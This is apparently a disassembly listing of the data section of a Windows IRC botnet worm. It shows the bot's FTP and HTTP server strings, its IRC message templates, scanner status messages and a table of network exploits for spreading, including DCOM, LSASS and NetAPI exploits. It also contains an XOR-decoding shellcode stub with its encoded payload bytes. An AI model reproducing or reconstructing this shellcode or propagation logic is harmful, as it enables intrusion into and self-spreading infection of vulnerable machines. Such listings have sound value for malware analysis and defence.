		db 33h,	6Eh, 2
		db  7Ah	; z
		db 1Fh,	6Dh, 1Fh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	3, 34h
aSPortDNowExecu	db '»»  %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053D5+519o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4053D5+501o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053D5+4DBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053D5+4A8o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4053D5+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_4053D5+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053D5+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_4053D5+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI:					; DATA XREF: sub_4053D5+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
aA:					; DATA XREF: sub_4053D5+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4053D5+326o
					; sub_4053D5+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
		align 10h
off_42A2D0	dd offset dword_445750	; DATA XREF: sub_4053D5+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4053D5+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_4053D5+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_4053D5+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
		align 10h
aUser_1		db 'USER',0             ; DATA XREF: sub_4053D5+271o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_4053D5+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_405A58+24o
					; sub_406C19+12Eo ...
		align 4
unk_42A36C	db    2			; DATA XREF: sub_405AF2+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_42A3B0	db 0Dh,0Ah,0		; DATA XREF: sub_405AF2+2CFo
		align 4
asc_42A3B4:				; DATA XREF: sub_405AF2+293o
					; sub_40EE72+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405AF2+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F4D+98o
					; sub_40B8D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F4D+5Fo
		align 4
unk_42A5D4	db    2			; DATA XREF: sub_4060D0+296o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C	db    2			; DATA XREF: sub_4060D0+212o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_42A65C:				; DATA XREF: sub_4060D0+15Ao
		unicode	0, <*>,0
asc_42A660:				; DATA XREF: sub_4060D0+FBo
					; sub_406387+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060D0+EAo
					; sub_406387+4DAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_4060D0+3Ao
					; sub_40B390+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406387+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406387+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
		align 4
aSS		db '%s%s/',0            ; DATA XREF: sub_406387+36Co
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+328o
					; sub_406387+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_406387+2E9o
					; sub_406387+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_406387+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_406387+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_406387+237o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406387+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42AB14	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C19+493o
dword_42AB20	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_42AB74	db    2			; DATA XREF: sub_406C19+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_42ABA8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C19+399o
dword_42ABBC	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04	db    2			; DATA XREF: sub_406C19+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_42AC38	db    2			; DATA XREF: sub_406C19+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406C19+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_407767+169o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: ___:00405361o
		align 4
		dd 5 dup(0)
dword_42ACB0	dd 87h			; DATA XREF: sub_407110+1Er
					; sub_40EE72+30B3r ...
off_42ACB4	dd offset sub_402DD7	; DATA XREF: sub_407767+1EAr
dword_42ACB8	dd 0			; DATA XREF: sub_402DD7+2E1w
					; sub_402DD7+2E7r ...
dword_42ACBC	dd 1			; DATA XREF: sub_407252+1Fr
dword_42ACC0	dd 0			; DATA XREF: sub_407252:loc_4074C3r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DD7h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DD7h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	403688h, 0
		dd 2 dup(1), 346E7361h,	3534h, 73610000h, 6D73316Eh, 62h
		dd 5 dup(0)
		dd 1BDh, 40428Fh, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	40428Fh, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404F42h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404F42h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 405088h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 40527Eh, 0	; CODE XREF: sub_42AF96:loc_42AFABj
		dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_42AFA6

; =============== S U B	R O U T	I N E =======================================



sub_42AF96	proc near		; CODE XREF: sub_42AF96:loc_42AFA6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_42AF9E:				; CODE XREF: sub_42AF96+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42AF9E
		jmp	short loc_42AFAB
; ---------------------------------------------------------------------------


loc_42AFA6:				; CODE XREF: ___:0042AF94j
		call	sub_42AF96


loc_42AFAB:				; CODE XREF: sub_42AF96+Ej
		jo	short near ptr dword_42AF44+2
		cwde
		cdq
		cdq
		retn
sub_42AF96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407110+42o
		align 4
unk_42B134	db    2			; DATA XREF: sub_407110+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_42B168	db    2			; DATA XREF: sub_4071DB+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42B198	db    2			; DATA XREF: sub_4071DB+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42B1C8	db    2			; DATA XREF: sub_407252+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42B20C	db    2			; DATA XREF: sub_407252+307o
					; sub_40EE72+54B9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_42B258	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42B298	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42B2E8	db    2			; DATA XREF: sub_407252+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_42B328	db    2			; DATA XREF: sub_407252+DBo
					; sub_40EE72+5343o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40762E+38o
					; sub_40AEE0+46o
unk_42B384	db    2			; DATA XREF: sub_407767+EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_42B3BC	db    2			; DATA XREF: sub_407767+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42B408	db    2			; DATA XREF: sub_40797F+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_42B45C	db    2			; DATA XREF: sub_40797F+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42B4A8	db    2			; DATA XREF: sub_40797F+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_42B4F0	db    2			; DATA XREF: sub_40797F+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_42B538	db    2			; DATA XREF: sub_407BDE+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_42B584	db    2			; DATA XREF: sub_407BDE+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B5DC	db    2			; DATA XREF: ___:00407F10o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_42B62C	db    2			; DATA XREF: ___:00407E47o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_42B680	db    2			; DATA XREF: sub_407FEA+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_42B6C0	db    2			; DATA XREF: sub_407FEA+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42B708	db    2			; DATA XREF: sub_407FEA+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B75C	db    2			; DATA XREF: sub_407FEA+A8o
					; sub_40EE72+5E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_42B794	db    2			; DATA XREF: sub_407FEA+3FEo
